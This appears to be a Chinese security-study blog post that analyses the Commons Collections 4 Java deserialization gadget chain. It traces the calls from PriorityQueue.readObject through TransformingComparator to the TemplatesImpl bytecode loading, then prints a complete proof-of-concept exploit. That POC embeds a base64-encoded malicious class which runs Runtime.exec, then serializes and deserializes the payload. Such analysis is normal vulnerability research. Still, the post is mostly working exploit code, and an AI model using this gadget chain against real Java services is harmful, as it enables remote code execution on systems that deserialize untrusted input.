这条链子 前半段跟CC3 一样 ,都是动态加载字节码的过程,后边的构造用到了两个类,PriorityQueue和TransformingComparator
Gadget chain:ObjectInputStream.readObject()PriorityQueue.readObject()...TransformingComparator.compare()InstantiaterTransformer.transform()TrAXFilter.TrAXfilterMethod.invoke()Runtime.exec()
链子:
#class PriorityQueue
PriorityQueue.readObject -> heapify()heapify() -> siftDown()siftDown() -> siftDownComparator()siftDownComparator() -> comparator.compare(); #com[arator 可控 = TransformingComparator#class TransformingComparator
compare() -> transformer.transform() # transformer可控 = InstantiateTransformer接上CC3的链子简化就是 PriorityQueue类 -> TransformingComparator 类 -> CC3
完整流程


先看看需要用到的PriorityQueue 类。
PriorityQueue()使用默认的初始容量(11)创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。
PriorityQueue(int initialCapacity)使用指定的初始容量创建一个 PriorityQueue,并根据其自然顺序对元素进行排序。本篇主要用的到方法,add(E e):将指定的元素插入此优先级队列
测试代码:
package CommonsCollections4;import java.util.PriorityQueue;public class Test {public static void main(String[] args) throws Exception {PriorityQueue priorityQueue=new PriorityQueue(2);priorityQueue.add(4);priorityQueue.add(3);priorityQueue.add(2);priorityQueue.add(1); //add()添加指定元素到队列System.out.println(priorityQueue);System.out.println(priorityQueue.poll()); //poll获取队列的头}}
大概就是入队的添加,poll() 获取队头,之所以用他,是因为他重写了自己的readObject()方法
private void readObject(java.io.ObjectInputStream s)throws java.io.IOException, ClassNotFoundException {// Read in size, and any hidden stuffs.defaultReadObject();// Read in (and discard) array lengths.readInt();queue = new Object[size];// Read in all elements.for (int i = 0; i < size; i++)queue[i] = s.readObject();// Elements are guaranteed to be in "proper order", but the// spec has never explained what that might be.heapify();
}
最后调用了 heapify();
private void heapify() {for (int i = (size >>> 1) - 1; i >= 0; i--)siftDown(i, (E) queue[i]);
}
接着调用siftDown()
private void siftDown(int k, E x) {if (comparator != null)siftDownUsingComparator(k, x);elsesiftDownComparable(k, x);
}
当comparator不为null时调用siftDownUsingComparator()
private void siftDownUsingComparator(int k, E x) {int half = size >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = queue[child];int right = child + 1;if (right < size &&comparator.compare((E) c, (E) queue[right]) > 0)c = queue[child = right];if (comparator.compare(x, (E) c) <= 0)break;queue[k] = c;k = child;}queue[k] = x;
}
最后调用comparator.compare(),而comparator在本类的构造方法中可控,所以关键就在于调用谁的compare()了
public PriorityQueue(Comparator super E> comparator) {this(DEFAULT_INITIAL_CAPACITY, comparator);
}public PriorityQueue(int initialCapacity,Comparator super E> comparator) {// Note: This restriction of at least one is not actually needed,// but continues for 1.5 compatibilityif (initialCapacity < 1)throw new IllegalArgumentException();this.queue = new Object[initialCapacity];this.comparator = comparator;
}
这里用到的是 TransformingComparator 类,在该类中发现compare(),并且调用transform()方法,后边的就跟之前都一样了
public int compare(final I obj1, final I obj2) {final O value1 = this.transformer.transform(obj1);final O value2 = this.transformer.transform(obj2);return this.decorated.compare(value1, value2);
}
这个类 在CC3 版本是无法使用的,因为CC4 才继承了serialize接口。
//CC 3.2.1
public class TransformingComparator implements Comparator {
//CC 4.0
public class TransformingComparator implements Comparator, Serializable {
后边跟CC3 一样 直接贴过来
public static void main(String[] args) throws Exception {Templates templates = new TemplatesImpl();byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");setFieldValue(templates,"_name","snowy");setFieldValue(templates,"_bytecodes",new byte[][]{bytes});Transformer[] transformers=new Transformer[]{new ConstantTransformer(TrAXFilter.class), //将对象返回new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
}
在执行到 compare() 的时候,他执行的是 this.transformer的transform(obj1)方法
final O value1 = this.transformer.transform(obj1);
所以我们需要构造 this.transformer=chainedTransformer :
也就是: chainedTransformer.transformer(obj1);
构造器:

需要传Transformer的子对象 ,刚好 chainedTransformer就是其子对象

构造:
TransformingComparator transformingComparator=new TransformingComparator(chainedTransformer);
链子就接上了,我们已经接上了后半段的地方:
而 PriorityQueue 中需要调用 comparator.compare() ,所以 这里的comparator需要是TransformingComparator才能接上,
看到PriorityQueue的构造方法 也是可以直接传的。

构造器控制一下 comparator的值为 comparator=TransformingComparator类 构造一下:
PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
但是不能反序列化成功,原因有两个,我们打断点调试下

原因其一在这个地方:

这里会进行i = (size >>> 1) -1,只有当(size >>> 1) -1>=0时本轮循环才会执行调用siftDown()
这里可以运行下


只有2右移时才会 i >=0 进入 siftDown()
java中有三种移位运算符
<< : 左移运算符,num << 1,相当于num乘以2
>> : 右移运算符,num >> 1,相当于num除以2
>>> : 无符号右移,忽略符号位,空位都以0补齐
所以这里size至少为2时,经过右移操作后才能等于1,经过1-1之后i的值才能等于0从而进入循环,所以这里就要为size添加两个值
priorityQueue.add(1);
priorityQueue.add(2);
添加完后 执行一下

报错
原因是
public boolean add(E e) {return offer(e);
}
在add()中会调用offer()
public boolean offer(E e) {if (e == null)throw new NullPointerException();modCount++;int i = size;if (i >= queue.length)grow(i + 1);size = i + 1;if (i == 0)queue[0] = e;elsesiftUp(i, e);return true;
}
而在offer() 中调用了siftUp() ,接着就一串 siftUpUsingComparator()->siftUpUsingComparator()->compare()......,
就在序列化时执行执行了,而这里的并没有执行,因为少了这里:
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
之前cc3中把他去掉了 ,因为在执行readObject时,会默认初始化,但在这里想通过序列化触发的话,就要加上这条。接着回到刚才的问题,想让他在反序列化前不执行,就需要将transformingComparator的值修改为一个没用的值,绕过调用
TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));
之后再在add()方法执行结束后,通过反射将transformingComparator修改回来
Class c=transformingComparator.getClass();
Field transformField=c.getDeclaredField("transformer");
transformField.setAccessible(true);
transformField.set(transformingComparator,chainedTransformer);
POC:
package CommonsCollections4;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.*;import java.util.Base64;
import java.util.PriorityQueue;public class cc4 {public static void main(String[] args) throws Exception {Templates templates = new TemplatesImpl();byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");setFieldValue(templates,"_name","Sentiment");setFieldValue(templates,"_bytecodes",new byte[][]{bytes});Transformer[] transformers=new Transformer[]{new ConstantTransformer(TrAXFilter.class),new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})};ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);priorityQueue.add(1);priorityQueue.add(0);Class c=transformingComparator.getClass();Field transformField=c.getDeclaredField("transformer");transformField.setAccessible(true);transformField.set(transformingComparator,chainedTransformer);serialize(priorityQueue);unserialize("1.txt");}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj,value);}public static void serialize(Object obj) throws IOException {ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));out.writeObject(obj);}public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));Object o = In.readObject();return o;}}
上一篇:写给老师的话朴素离别
下一篇:机械原理复习试题